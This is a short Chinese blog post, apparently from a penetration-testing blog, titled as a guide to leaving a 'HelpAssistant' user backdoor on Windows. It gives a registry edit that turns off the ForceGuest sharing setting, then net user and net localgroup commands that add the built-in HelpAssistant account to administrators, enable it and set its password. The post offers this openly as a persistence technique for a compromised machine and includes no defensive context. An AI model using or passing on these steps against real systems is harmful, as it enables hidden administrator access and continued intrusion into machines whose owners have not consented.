最新消息:本站技术交流 QQ 群:28124927

留个HelpAssistant用户后门

渗透相关 exchen 3271浏览 0评论

//去掉简单文件共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
“forceguest”=dword:00000000

C:\>net user

User accounts for \\xx

——————————————————————————-
Administrator Guest
HelpAssistant SUPPORT_388945a0
The command completed successfully.

C:\>net localgroup administrators HelpAssistant /add
The command completed successfully.

C:\>net user HelpAssistant /active:yes
The command completed successfully.

C:\>net user HelpAssistant xxx
The command completed successfully.

转载请注明:exchen's blog » 留个HelpAssistant用户后门

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址